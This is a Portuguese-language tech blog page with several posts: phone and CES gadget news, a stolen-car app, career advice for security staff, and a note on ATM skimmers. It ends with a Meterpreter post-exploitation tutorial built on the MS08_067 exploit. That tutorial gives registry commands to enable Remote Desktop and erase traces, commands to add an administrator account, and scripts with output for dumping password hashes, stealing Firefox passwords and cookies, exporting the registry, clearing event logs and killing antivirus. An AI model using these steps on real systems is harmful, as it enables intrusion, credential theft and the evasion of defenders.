Tudo

Galaxy S5: Um smartphone poderoso resistente à poeira e água

Diego Piffaretti1 comentário

galaxy_s5

A Samsung apresentou ontem, dia 24, o tão esperado Galaxy S5, que deixa de lado o design típico do S4 por algo mais clássico e discreto. A parte de trás tem uma textura com fundos que imita metal, mas é feita de plástico. Ao deixar de lado a enorme quantidade de novas funções do modelo anterior, o objetivo da Samsung parece claro: Criar um smartphone que possa fazer tudo o que os consumidores realmente precisam.

O novo topo de linha da Samsung conta com uma belíssima tela Super AMOLED de 5.1 polegadas com resolução de 1920 x 1080 pixels e densidade de 431 pontos por polegada (será que só eu acho esta tela grande demais?). O processador é um Snapdragon 800 quad-core de 2.5GHz e o smartphone também conta com 2GB de RAM. São dois modelos, com 16 ou 32GB de capacidade. Achou pouco? Não se preocupe, pois o S5 tem slot para cartões microSD de até 64GB.

A câmera traseira de 16 megapixels é capaz de gravar vídeos em 4K UHD (Ultra High Definition), algo bem interessante para os poucos privilegiados que têm uma TV 4K em casa. Ela também tem HDR e foco automático que é acionado em apenas 0,3 segundos, além da função “Foco Seletivo”, que permite que você destaque um ponto da foto e deixe o resto fora de foco. O S5 também tem uma câmera frontal de 2.1 megapixels.

O S5 é o primeiro smartphone com leitor de batimentos cardíacos do mercado, algo feito sob medida para a função S Health e seus recursos que procuram monitorar a saúde do usuário. O aparelho também conta com pedômetro e outros sensores, e funciona perfeitamente com os relógios Gear 2 e Gear Fit.

Assim como concorrente, o iPhone 5s, o Galaxy S5 conta com um leitor biométrico no botão home, facilitando a vida na hora de desbloquear o aparelho ou comprar aplicativos. Uma das novidades que eu mais gostei no Galaxy S5 é a proteção IP67, ou seja, ele é um smartphone à prova d’água e de poeira.

Pesando 145 gramas, o S5 tem uma bateria de 2800mAh que pode ser removida pelo usuário (assim como a do S4). Em termos de conectividade, o S5 também está muito bem servido, com 4G LTE, Wi-Fi 802.11ac, 2X2 MIMO e Bluetooth 4.0.

E aí, você gostou do novo topo de linha da Samsung? Eu gostei bastante, pena que ele vai custar caro por aqui.

Saiba mais sobre o Galaxy S5 no Samsung Mobile Express.

Clique abaixo para ver várias imagens do novo Galaxy S5.

Continuar lendo →

App para checar se carro foi roubado

Diego PiffarettiDeixe um comentário

O Checkplaca, aplicativo para celular e computador lançado pelo Ministério da Justiça, alcançou mais de 400 mil downloads e tornou-se o mais baixado na loja da Apple no Brasil e o 14º lugar no mundo, conforme resultados divulgados pelo Governo.

Com o Checkplaca, o cidadão pode verificar se qualquer veículo é furtado ou roubado. Basta digitar a placa para o aplicativo informar o modelo, as características e situação do carro na base de dados do Departamento Nacional de Trânsito (Denatran) e do Sistema Nacional de Informações de Segurança Pública do Ministério da Justiça (Sinesp).

Quando o aplicativo detecta algo irregular, o sistema avisa e dá a opção de o usuário ligar, sem ter que se identificar, para a polícia, que manda uma equipe ao local para verificar a situação. O aplicativo também é utilizado pelas forças policiais. Gratuito, o programa está disponível para dispositivos como os sistemas operacionais IOS (Apple) e Android.

O Ministério da Justiça informou ainda que 50 veículos foram recuperados graças ao aplicativo, com média de um por dia. Mais de 5 milhões de consultas já foram feitas, com média de 150 mil diariamente. Em 2012, foram furtados 248.755 e roubados 203.844 veículos. Segundo o ministério, os números de 2013 ainda não estão fechados.

DOWNLOAD:

https://play.google.com/store/apps/details?id=br.gov.sinesp.cidadao.android&hl=pt_BR
https://itunes.apple.com/us/app/sinesp-cidadao/id768157962?ls=1&mt=8

Sete lições para profissionais de segurança

Diego PiffarettiDeixe um comentário

Sete lições para profissionais de segurança terem mais sucesso

Aprender com as falhas é uma das recomendações dos especialistas para os gestores tenham mais êxito no desafio de proteger os negócios de suas empresas.

Da Redação – Computerworld

14 de janeiro de 2014 – 07h30

A indústria e os profissionais de Segurança estão respondendo a altura, a medida que os roubos de identidade e os riscos de segurança crescem, ou repete falhas do passado? Enquanto as tecnologias para segurança se aprimoram, os criminosos também ganham acesso a ferramentas melhores. Eles é que estão ficando mais espertos?

A sabedoria tradicional diz que é necessário mais equipe com treinamento e certificações de segurança. Outros dizem que salários mais altos, um melhor entendimento dos criminosos ou mais executivos top de linha são necessários. Tudo isso ajuda, mas algumas equipes têm tudo isso e mesmo assim falham. Caem sistematicamente em armadilhas parecidas.

Com base em experiências reais, confira sete lições que qualquer profissional de segurança precisa aprender para ter sucesso:

1 – Segurança costuma ser vista como um problema
Geralmente,  profissionais de segurança são vistos como estraga prazeres, que trazem mais problemas que soluções. No mundo da computação em nuvem, por exemplo, milhares de artigos positivos são escritos por quem fala da tecnologia, mas os artigos da área de segurança só sabem falar quão ruim a nuvem é para segurança da informação.

A dica para superar isso é se esforçar para se tornar um facilitador. Pare de dizer não para os clientes e ofereça soluções seguras para as propostas apresentadas. Diga como garantir que o projeto seja entregue no prazo, no orçamento e com um nível de segurança adequado. Enquanto isso, vá analisando se e como a área de negócios enxerga valor nas suas abordagens.

2 – Segurança é encarada como uma solução única
Outro erro comum dos profissionais de segurança é achar que um tipo de solução pode resolver os problemas de cibersegurança de todos os tipos e tamanhos de empresa. Essa abordagem é errada porque erros de dimensionamento podem colocar uma empresa maior sob risco ou fazer uma empresa menor gastar desnecessariamente em uma solução muito abrangente.

A solução é oferecer aos clientes diferentes níveis de solução para as empresas. Estudar o mercado, acompanhar avaliações de consultorias como Gartner e Forrester, ficar em contato constante com associações de segurança, tudo isso ajuda a bolar o melhor pacote de soluções para cada caso e auxiliar as áreas de negócios a entenderem os riscos e benefícios associados à cada opção.

3 – Um pouco mais de humildade ajudaria
Não há dúvida que todos os clientes do mundo gostam de trabalhar com pessoas positivas, amigáveis, humildes e com atitudes pacientes. Essa descrição, infelizmente, não cabe à maioria dos profissionais de segurança. A consequência é que eles tendem a desprezar processos e trabalhar somente nas demandas que parecem mais ameaçadoras. O profissional de segurança adora combater inimigos e acaba se esquecendo a razão da segurança e da existência do seu time.

Para driblar esse problema, é necessário mostrar humildade genuína aliada à excelência profissional. Admitir que os criminosos estão cada vez melhores e trabalhando mais duro para derrotar o que você está fazendo é uma atitude interessante. Pensar assim fará o profissional de segurança pensar em ter  mais planejamento, colaboração e trabalhar em processos com ciclo me vida projetada. Paralelamente, uma boa atitude do profissional é se engajar em atividade sociais da companhia e mostrar que faz parte do time.

4 – Profissionais tendem a achar que o cliente não sabe nada da área
Alguns profissionais de segurança veem clientes como agentes irritantes, que não sabem do que estão falando quando o assunto é segurança. Combinada com a falta de paciência em realizar explicações claras, essa atitude leva o profissional a concluir que o cliente nunca entenderá o real problema. Um grande erro.

Ocorre que 90% das questões mal compreendidas, segundo especialistas, são erros relacionados às pessoas e a relacionamentos ruins. Os profissionais precisam entender que as pessoas que surgem com demandas não têm, como missão, irritá-los: elas têm família, torcem para times, praticam seus hobbies.  Relacione-se, conheça melhor cada pessoa, construa confiança e constate que cada um tem seus conhecimentos e que vale a pena um esforço para compartilhá-los.

5 – Cyber ética: você é uma ameaça interna?
Muitos profissionais de segurança costumam se ver como hackers do bem que não devem seguir políticas que os outros funcionários seguem. No entanto, quanto mais o profissional aprende e se torna “hacker do bem”, mais a tentação cresce. As informações com as quais vai se deparar testará a ética e a honestidade do profissional o tempo todo.

O ideal é não ter essa atitude. Respeitar as políticas da empresa, mesmo que tenha o poder de desrespeitá-lo, é a melhor forma de manter o emprego, reputação e ainda dar um bom exemplo. É bom nunca subestimar o risco aos quais se expõe, pois ninguém age sem deixar rastros.

6 – Esgotamento mental na carreira
Muitos profissionais de segurança sentem sintomas de esgotamento em algum ponto da carreira. Pesquisas indicam que a área de segurança é onde se encontra a maioria desses profissionais. Eles acham que todos os dias são ruins, levam para casa o que têm de negativo no trabalho, sentem-se exaustos o tempo todo, acham que todas as tarefas são tediosas e acham que nada do que fazem é valorizado.

Superar isso é difícil, mas requer uma boa dose de perseverança e equilíbrio entre a vida pessoal e a profissional. A melhor coisa na carreira é antecipar possíveis estresses e trabalhar em cima de sinais que podem levar ao esgotamento. Em segundo lugar, o profissional deve analisar sua situação pelo menos uma vez por ano para avaliar o que está bom, o que está ruim e o que poderia causar um problema. Não seria hora de planejar folgas, férias, buscar alguma realização pessoal?

Reconhecer a carreira como uma maratona, e não um sprint final, é uma boa atitude também. O profissional não vai ser usado, esgotado e descartado, como um ciclo único. A carreira é repleta de ciclos.

7 – Perspectivas ruins e sensação de estagnação
Muitos profissionais de segurança se esquecem de características comportamentais, como atitude, relacionamento, liderança, entre outros, para se concentrar só nas técnicas. Isso quase sempre leva à sensação de estagnação vivida pela maioria.

Para evitar que isso ocorra, a melhor forma é desenvolver estratégicas práticas, como respeitar sua própria posição como um papel importante na empresa, se voluntariar para comitês ou equipes de atividades paralelas na empresa e tentar gerar boas ideias para a organização, participando de discussões sobre problemas e eventuais soluções. Essas atitudes práticas auxiliam o desenvolvimento de características pessoais e melhoram as perspectivas de crescimento e as chances de avanço na carreira.

Fonte: http://computerworld.uol.com.br/carreira/2014/01/14/sete-licoes-para-professionais-de-seguranca-terem-sucesso/?goback=.gmp_4216332#!

Aplicativo Siri do Iphone – Caça aos muçulmanos?

Diego PiffarettiDeixe um comentário

Bom primeiramente, acho que todos sabem que um adepto do islamismo é chamado de muçulmano.

Pessoal da lista UndegroundBR postou isso e fiquei encucado, está tudo em alemão, mas o próprio pessoal da lista explica:

Para quem não entendeu nada do vídeo é o seguinte:
O cara está fazendo comparações de busca da Siri, basicamente religiões.
Ele procura por budismo, a Siri traz o conteúdo numa boa.
Porem quando ele pede para a Siri procurar por Islam, a Siri fala:

“EU SO POSSO PROCURAR POR ISLAM SE VOCE ATIVAR A GEOLOCALIZACAO”

ÃAA? Como assim… rsrrs.. Tirem suas conclusões.

Matéria completa:

http://stadt-bremerhaven.de/die-stunde-der-aluhuttraeger-siri-verlangt-bei-islam-suche-aktivierte-ortungsdienste/

Canais sobre segurança da informação no youtube

Diego PiffarettiDeixe um comentário

Para o pessoal que vive procurando coisas legais e focadas em segurança, eu gostaria de listar alguns dos canas de S.I. mais legais do youtube, mas todos em inglês:

São eles:

 

Fonte:CorujadeTI

Os 10 melhores produtos anunciados na CES 2014

Diego PiffarettiDeixe um comentário

 

12-melhores-produtos-ces-2014

Perdeu as novidades da CES – a maior feira de tecnologia do mundo – deste ano? Não se preocupe, juntamos neste post os 10 melhores produtos que foram apresentados na feira. Vamos lá:

1. Desktop Maingear Spark

12-melhores-produtos-ces-2014_1

Maingear Spark, o pequeno potente! – Foto: Destructoid/Reprodução

Devido à configuração bem dotada deles, desktops de gamers geralmente são volumosos – exatamente o tipo de coisa que ninguém gostaria de deixar perto de HDTVs por exemplo. Mas oSpark que a Maingear apresentou na feira é projetado para resolver este problema. É preparado para jogos e para o sistema operacional Steam OS da Valve (pode rodar o Windows também), é pequeno (aprox. 12 cm²) e pesa cerca de 450 g. Apesar do tamanho, ainda tem espaço para uma configuração razoavelmente poderosa, tem placa gráfica AMD, duas portas USB 3.0, saída HDMI e tecnologia de armazenamento dual-drive. É o tipo do PC que veio pra provar que pode evoluir junto com os consoles da nova geração.

2. Horizon 2 Tabletop PC da Lenovo

12-melhores-produtos-ces-2014_2

Novo Horizon 2 oferece sistema de captura inteligente de fotos de smartphones – Foto: Matt Safford

O novo Horizon 2 da Lenovo promete dar um fôlego a mais na vida dos declarados “semi-mortos”desktops. Tem display de 27″ touchscreen e pode ser usado praticamente na horizontal, como se fosse um “tabletzão”. É amigável tanto para gamers quanto para uso familiar, é o tipo do aparelho feito para ficar na mesa de centro da sala para ser usado por todos. Um software nativo permite que os smartphones de todos da casa se comuniquem diretamente com ele com facilidade, apenas colocando o smartphone em cima do display. Assim todos podem descarregar suas fotos no aparelho para compartilhá-las, ou simplesmente para uma simples demonstração de fotos em família.

3. Camera Intel RealSense 3D

12-melhores-produtos-ces-2014_3

Camera Intel RealSense 3D cria um universo 3D usando mapeamento de cores – Foto: DigitalTrends/Reprodução

A câmera RealSense 3D, apresentada pela Intel na feira, usa tecnologia infrared e sistema de mapeamento por cor para traçar a cena em frente a ela, determinando a profundidade e localização dos objetos e as pessoas no espaço. Isso abre um enorme leque de possibilidades, como a criação de jogos de realidade aumentada, interfaces de detecção de movimento e o mais legal, a possibilidade de “manipular” imagens do vídeo que estamos assistindo em tempo real. A câmera é pequena o suficiente para caber no topo de seu laptop ou tablet, e começará a ser vendida já em 2014.

4. Playstation Now

 

12-melhores-produtos-ces-2014_4

Novo sistema da Sony permitirá que jogadores joguem via streaming – Imagem/Cortesia: Sony

 

O lançamento do Playstation Now da Sony serviu como uma “mão na roda” para os gamers fãs da plataforma. O Playstation Now é um serviço de streaming de jogos que permite aos jogadores jogar jogos a partir de um console PS3, PS4, ou PS Vita, sem ter que baixá-los por completo. É como se os jogos fossem “vídeos do Youtube,” por exemplo. Além disso, o serviço oferece aos usuários a possibilidade de alugar títulos que estão interessados em jogar, ao invés de comprar a cópia completa do game. E que inovação! Na minha opinião, o melhor lançamento da feira. Vida longa à Sony!

5. Myris da Eyelock

12-melhores-produtos-ces-2014_5

Leitor/Identificador de íris Myris – Imagem: Everythig’s USB/Montagem

Quando nos vêm à mente um leitor de íris logo pensamos que este custaria caro. A EyeLock criou oMyris para mudar este cenário. É um gadget USB simples e de baixo custo que é eficiente. O Myris é capaz de mapear sua íris capturando um vídeo de 1 segundo dela, para então liberar ou não seu acesso a diversas contas (e-mails, contas bancárias, etc), sem a necessidade de inserir senhas. Segundo a Eyelock, o aparelho custará menos que US$ 300.

6. Smartphone G FLex da LG

12-melhores-produtos-ces-2014_6

G Flex da LG tem display curvo que inibe reflexos – Imagem: LG/Divulgação

A feira deste ano apresentou diversos modelos de aparelhos de telefone com displays curvos, mas sinceramente a maioria não agradou o público – exceto um deles. O G Flex da LG é o smartphonecom display curvo que mais chamou a atenção na feira. O display curvo tem 6″. A curva sutil na tela dele permite menos intrusão de luz pelas laterais e distorce o reflexo na proporção certa para ofuscar qualquer brilho ou reflexo que possa incomodar o usuário.

7. Telescópio Cosmos 90GT da Celestron

12-melhores-produtos-ces-2014_7

Telescópio pode ser conectado a um smartpphone controlado por um app exclusivo – Imagem: Celestron/Divulgação

A Celestron resolveu mudar o alvo, investindo na “astronomia para as massas”. E o que a maioria da população comum tem? Sim, smartphones! O novo telescópio Cosmos 90GT lançado pela empresa na feira é o primeiro que existe que permite ser controlado por um aplicativo através de WiFi. Uma vez conectado, o sistema orienta os aspirantes a astrônomos com informações e o direcionamento correto das estrelas a partir do aplicativo.

8. Sensor de análise médica Scout da Scanadu

12-melhores-produtos-ces-2014_8

O Scout mede informações vitais de nossa saúde de forma prática e não invasiva – Imagem: Scanadu/Divulgação

O Scout da Scanadu parece um aparelho de filmes de ficção científica. É capaz de medir sinais vitais de uma pessoa – a freqüência cardíaca, pressão arterial, temperatura – apenas o colocando em contato com a testa. Os dados podem então ser enviados ao médico responsável pelos cuidados da pessoa. Antes de ser aprovado pela FDA (departamento de saúde americana), para se certificar da precisão dos dados, o sensor passará por um programa piloto de teste com cerca de 10.000 voluntários.

9. Robô MiP da WowWee

12-melhores-produtos-ces-2014_9

O MiP é uma mistura de robô com Segway – Imagem: WowWee/Divulgação

O MiP (abreviação de Mobile Inverted Pendulum ou ‘Pêndulo Móvel Invertido’) é um robô de 20 cm de altura que se equilibra em duas rodas. É como um robô com um Segway no lugar das pernas, mas é adorável. O MiP pode ser controlado por gestos, por um telefone via Bluetooth ou pode se movimentar de forma autônoma. É muito sensível aos comandos de controle e sua capacidade de equilibrar enquanto se movimenta é impressionante, pode até mesmo levar outro MiP em uma bandeja! Além disso, ele pode dançar.

10. Faróis de Laser do Audi Sport Quattro

12-melhores-produtos-ces-2014_10

Faróis de laser, sim… faróis de LASER! – Foto: Amber Williams

Os faróis Laserlight do carro conceito Sport Quattro da Audi, são na verdade lasers, sim, Lasers! Enquanto os feixes de luz de um farol alto comum atinge cerca de 250 m de distância, estes de laser podem atingir o dobro: 500 m de distância. Segundo a Audi, os faróis iluminam três vezes mais do que faróis comuns. Pontos positivos e negativos, sim, oferecerá uma melhor visibilidade para os motoristas e… cegueira pra quem está à frente.

Fonte:RockNTech

Ultra HDTV de inacreditáveis 110 polegadas da Samsung

Diego PiffarettiDeixe um comentário

ultra-hdtv_110-polegadas_samsung

Sonho de consumo é pouco, o que eu sinto por esta Ultra HDTV de 110 polegadas da Samsung não tem nome. A maior TV Ultra HD do mundo começa a ser vendida na próxima segunda-feira na China, e em alguns países do Oriente Médio e da Europa, ou seja, para aqueles que podem pagar a pequena fortuna que ela fatalmente custará.

O pesoal do DigitalDrops teve a chance de ver a Ultra HDTV S9 da Samsung na IFA deste ano, e ficaram muito impressionados com a qualidade e principalmente, o seu tamanho descomunal. Não consigo nem imaginar em como deve ser ter uma destas em casa, mas felizmente nem preciso, afinal o seu preço especulado é pra lá de US$ 150 mil, e isso lá fora.

Veja mais no Samsung Tomorrow (site em Coreano).

 

Fonte:DigitalDrops

Tecnica NINJA de roubar dados em caixa eletrônico

Diego PiffarettiDeixe um comentário

Velho, olha o aparato tecnológico, com tela, processador, tecladinho, baterias de longa duração, tudo conectado a um chip de celular para enviar os dados dos cartões online para os golpistas.

Antes de sacar dinheiro a gente precisa tentar sacar o painel do caixa?

http://www.youtube.com/embed/z1CrmlK5zMM

Detalhes do primeiro video:

http://krebsonsecurity.com/tag/atm-skimmer/

Meterpreter…E depois do shell?Faz o que?

Diego PiffarettiDeixe um comentário

Estou escrevendo aqui este artigo para ficar uma dica , ou um norte (ideia) do que se fazer após se obter um shell na máquina.

Não vou entrar aqui nos detalhes de como se ganhar o shell na máquina ou do que se trata, pois se você está lendo este texto, acredito eu que você tenha noção do que está procurando.

Vou supor aqui que exploramos o clássico MS08_067.

Após aberta a sessão do meterpreter, muitos newbes ficam parados vendo uma tela preta cheia de letras rindo pois acabou de ter um shell, mas não sabe mais o que fazer dali para frente. Existem infinitas possibilidades, mas como comentei no inicio, o objetivo aqui é deixar uma base, uma ideia, um norte!

Acessando remotamente

Uma das coisas que podem ser feitas de inicio é acessar a máquina remotamente via Remote Desktop. Esse e o jeito mais pratico, rápido, mas é mais agressivo, deixa uitos vestígios, as vezes tem muitos usuários logados e enestes casos este método pode ser complicado. Supondo que você já esteja com o meterpreter aberto após explorar a falha, dê o comando shell para ganhar acesso á máquina e siga o seguinte procedimento:

Habilite o Remote Desktop com o seguinte comando:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Se quiser desabilitar depois para não deixar rastros:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

Agora você precisa add um usuário local com poderes administrativos, para conseguir se logar

PS: Se quiser habilitar a assistência remota ( OPCIONAL)

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f

Criando o usuário local:

net user NOME_DO_USUARIO SENHA /add

Adicionando o usuário a um grupo:

net localgroup GRUPO USUARIO_CRIADO /add

Agora está prontinho, basta se conectar via remote Desktop, e se logar com seu usuário e senha criados.

Acessando o C: executando um processo:

execute -f “cmd.exe” -i -H

Usando o próprio meterpreter

Os scripts do Meterpreter são rotinas que podem ser executados a partir do intérprete e permite que você execute  ações específicas sobre o alvo e  são utilizadas para automatizar tarefas e agilizar atividades , os scripts disponíveis são executadas por linha de comando, alguns scripts úteis são:

arp_scanner

Vamos encontrar outras máquinas que estão no segmento de rede ou cometeram conexão com a máquina, para que você possa encontrar endereços IP e MAC das máquinas que têm acesso ao alvo, um cenário típico para isso é o acesso a partir de Internet a uma intranet , por exemplo:

Supondo-se que um pentester entrou em uma máquina que tem 2 interfaces de rede , uma das quais é dedicada à internet eo outro é para a conexão em intranet, porque o pentester tem acesso a esta máquina , você pode facilmente identificar essas interfaces de rede e , em seguida, executar máquinas de varredura no segmento de rede da intranet através de requisições ARP da seguinte forma:

meterpreter > run arp_scanner -h
Meterpreter Script for performing an ARPS Scan Discovery.OPTIONS:-h Help menu.-i Enumerate Local Interfaces-r <opt> The target address range or CIDR identifier

-s Save found IP Addresses to logs.

meterpreter > run arp_scanner -i

[*] Enumerating Interfaces

[*] National Semiconductor DP83815-Based PCI Fast Ethernet Adapter – Packet Scheduler Miniport

[*] 192.168.1.34

[*] 255.255.255.0

[*]

meterpreter > run arp_scanner -r 192.168.1.1/24

[*] ARP Scanning 192.168.1.1/24

[*] IP: 192.168.1.1 MAC 64:68:c:45:71:88

[*] IP: 192.168.1.33 MAC 4c:f:6e:e9:7f:16

[*] IP: 192.168.1.34 MAC 0:d:9d:82:cc:69

[*] IP: 192.168.1.35 MAC 0:1c:bf:5a:2a:25

checkvm:

Verifique se o alvo está sendo executado em uma máquina virtual ou um físico:

meterpreter > run checkvm
[*] Checking if target is a Virtual Machine …..[*] It appears to be physical host.

credcollect:

Com este comando, a lista de hashes que são armazenados no SAM dos dados alvo é obtido (Gosto muito desse comando, depois é so rodar um bruteforce):

meterpreter > run credcollect
[+] Collecting hashes…Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0Extracted: ASPNET:f398e05bcb3020ceff92d55aff8ce62c:86ceb0fb2a9e29524943fed3ef434477………

enum_firefox:

Com este script você pode saber se o computador de destino está instalado FireFox e se assim for, o comando tentará baixar todas as informações armazenadas nesse navegador, objectos, tais como cookies, senhas salvas, histórico de navegação, etc.

meterpreter > run enum_firefox
[*] Firefox was found on this system.[*] Extracting Firefox data for user Owner[*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownercert8.db’

[*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerkey3.db’

[*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownersignons.sqlite’

[*] Downloading Firefox Database file cookies.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownercookies.sqlite’

[*] Downloading Firefox Database file formhistory.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerformhistory.sqlite’

[*] Downloading Firefox Database file places.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerplaces.sqlite’

[*] Downloading Firefox Database file places.sqlite-journal to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerplaces.sqlite-journal’

[*] Downloading Firefox Database file search.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownersearch.sqlite’

[*] Getting Firefox Bookmarks for Owner

[*] Saving to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_bookmarks.txt

[*] Getting list of Downloads using Firefox made by Owner

[*] Saving Download list to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_download_list.txt

[*] Getting Firefox URL History for Owner

[*] Saving URL History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_history.txt

[*] Getting Firefox Form History for Owner

[*] Saving Firefox Form History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_form_history.txt

[*] Getting Firefox Search History for Owner

[*] Saving Firefox Search History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_search_history.txt

[*] It appears that Search History has been cleared

[*] Getting Firefox Cookies for Owner

Pode ser interessante para o usuário para extrair dados e senhas armazenadas lá para isso se usa o FirePassword , o procedimento é o seguinte:
1. Faça o download do programa (. Exec)

2. Procurar a partir Meterpreter para o diretório onde você fez o download ou o programa é armazenado usando os comandos getlwd e lcd (estes comandos permitem consultar o diretório atual (local) e mudar o caminho do diretório atual (local)

3. Em seguida, use o comando Meterpreter upload e fazer o upload do arquivo executável para a máquina remota.

4. Agora, execute o comando shell para abrir um console no sistema remoto e executar o FirePassword programa na máquina remota, com isso, o programa irá listar as rotas de navegação utilizados e suas credenciais de correspondentes em texto simples (no caso são armazenadas no navegador).

get_application_list

Obtém uma lista dos aplicativos que estão instalados no sistema comprometido com o número da versão que lhes estão associados:

meterpreter > run get_application_list
Installed Applications======================Name Version—- ——-7-Zip 4.65

Conexant 56K ACLink Modem

Open Command Prompt Shell Extension (x86-32) 2.0.1.0

……..

enum_logged_on_users

Fornece informações sobre os usuários que são atualmente logados:

meterpreter > run enum_logged_on_users -c
Current Logged Users====================SID User— —-

S-1-5-19 Local Service

S-1-5-20 Network Service

S-1-5-21-1004336348-1957994488-842925246-1003 Owner

S-1-5-21-1004336348-1957994488-842925246-1005

S-1-5-18 SYSTEM

get_env

Retorna as variáveis ​​de ambiente da vítima, permitindo conhecer as características físicas das variáveis ​​de máquina-alvo e de ambiente utilizadas como referência para o software instalado no destino, por muito úteis atividades de pós-exploração de um script do sistema é especificamente para coletar informações sobre a máquina comprometida.

scraper

Vamos coletar informações sobre o sistema e  arquivos armazenados no sistema local, a informação recolhida inclui, compartilhamentos de rede, senhas, entradas de registro, etc. toda esta informação é baixado e, em seguida, pode ser usado para apoiar o processo de pós-exploração do sistema, a fim de fortalecer o conhecimento da mesma.

meterpreter > run scraper
[*] New session on 192.168.1.34:31337…[*] Gathering basic system information…

[*] Dumping password hashes…

[*] Obtaining the entire registry…

[*] Exporting HKCU

[*] Downloading HKCU (C:\DOCUME~1\Owner\LOCALS~1\Temp\vXPnWyUV.reg)

[*] Cleaning HKCU

[*] Exporting HKLM

[*] Downloading HKLM (C:\DOCUME~1\Owner\LOCALS~1\Temp\yeglhdIM.reg)

[*] Cleaning HKLM

[*] Exporting HKCC

[*] Downloading HKCC (C:\DOCUME~1\Owner\LOCALS~1\Temp\ydknHdsv.reg)

[*] Cleaning HKCC

[*] Exporting HKCR

[*] Downloading HKCR (C:\DOCUME~1\Owner\LOCALS~1\Temp\aOduEHXB.reg)

[*] Cleaning HKCR

[*] Exporting HKU

[*] Downloading HKU (C:\DOCUME~1\Owner\LOCALS~1\Temp\wGFcKQnj.reg)

[*] Cleaning HKU

[*] Completed processing on 192.168.1.34:31337…

winenum

Este é um script que retorna todas as informações sobre o sistema de destino, misturando alguns dos acima, bem como outros comandos úteis , este scripts de informação, gera um relatório consolidado sobre todo o sistema de comunicação de dados relevantes  por isso, é altamente recomendado para uso em um processo de pós-exploit de um sistema.

meterpreter > run winenum -h
WinEnum — Windows local enumerationRetrieves all kinds of information about the systemincluding environment variables, network interfaces,routing, user accounts, and much more. Results are

stored in /root/.msf3/logs/scripts/winenum

OPTIONS:

-c Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog

-h Help menu.

-m Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything

-r Dump, compress and download entire Registry

meterpreter > run winenum

[*] Running Windows Local Enumerion Meterpreter Script

[*] New session on 192.168.1.34:31337…

[*] Saving general report to /root/.msf3/logs/scripts/winenum/OWNER_20110314.2422/OWNER_20110314.2422.txt

[*] Output of each individual command is saved to /root/.msf3/logs/scripts/winenum/OWNER_20110314.2422

[*] Checking if OWNER is a Virtual Machine ……..

[*] UAC is Disabled

[*] Running Command List …

[*] running command cmd.exe /c set

[*] running command ipconfig /all

……………….

prefetchtool

Fornece informações sobre os programas que têm sido frequentemente utilizados no sistema comprometido, datas de acesso e criação de cada um dos programas encontrados relatórios, este script usa um executável que deve ser incluído no quadro, no caso de que não foi encontrada, ela irá tentar fazer o download do Internet automaticamente, assim que você precisa ter para usar internet (se você tiver o arquivo no diretório prefetch.exe Metasploit) esse arquivo é instalado no <msf_install_directory>/data/prefetch.exe

meterpreter > run prefetchtool -h
[*] Prefetch-tool Meterpreter ScriptOPTIONS:-c Disable SHA1/MD5 checksum-h Help menu.

-i Perform lookup for software name

-l Download Prefetch Folder Analysis Log

-p List Installed Programs

-x <opt> Top x Accessed Executables (Based on Prefetch folder)

meterpreter > run prefetchtool -x 3 -c

[*] No local copy of prefetch.exe, downloading from the internet…

[*] Downloaded prefetch.exe to /opt/metasploit3/msf3/data/prefetch.exe

[*] Running Prefetch-tool script…

[*] Uploading Prefetch-tool for analyzing Prefetch folder…

[*] Prefetch-tool uploaded as C:\DOCUME~1\Owner\LOCALS~1\Temp\18337.exe

[*] OUT> Analyzing 120 of 121 files

[*] OUT> Analyzing 121 of 121 files

[*] OUT>

[*] OUT> * Top 3 Used Executables (Based on Prefetch Folder) *

[*] OUT> (1) Filename: avgcmgr.exe

[*] OUT> Num of Times Run: 222 times

[*] OUT> Last Run: Wed Mar 09 20:39:51 2011

[*] OUT> (2) Filename: wuauclt.exe

[*] OUT> Num of Times Run: 109 times

[*] OUT> Last Run: Sun Mar 13 01:58:22 2011

[*] OUT> (3) Filename: postgres.exe

[*] OUT> Num of Times Run: 104 times

[*] OUT> Last Run: Tue Mar 08 22:07:50 2011

[*] Deleting 64162.exe from target…

[*] Clearing prefetch-tool prefetch entry …

[*] [*] Saving prefetch logs to /root/.msf3/logs/prefetch/192.168.1.34-20110314.4236.log…

[*] [*] Deleting log file from target…

getcountermeasure

Este script fornece informações sobre os sistemas de segurança implementados no alvo, tais como AV e regras de firewall, e se possível tentar matar o processo.

meterpreter > run getcountermeasure
[*] Running Getcountermeasure on the target…[*] Checking for contermeasures…[*] Getting Windows Built in Firewall configuration…[*]

[*] Domain profile configuration:

[*] ——————————————————————-

[*] Operational mode = Enable

[*] Exception mode = Enable

[*]

[*] Standard profile configuration (current):

[*] ——————————————————————-

[*] Operational mode = Disable

[*] Exception mode = Enable

[*]

[*] Local Area Connection firewall configuration:

[*] ——————————————————————-

[*] Operational mode = Enable

[*]

[*] Checking DEP Support Policy…

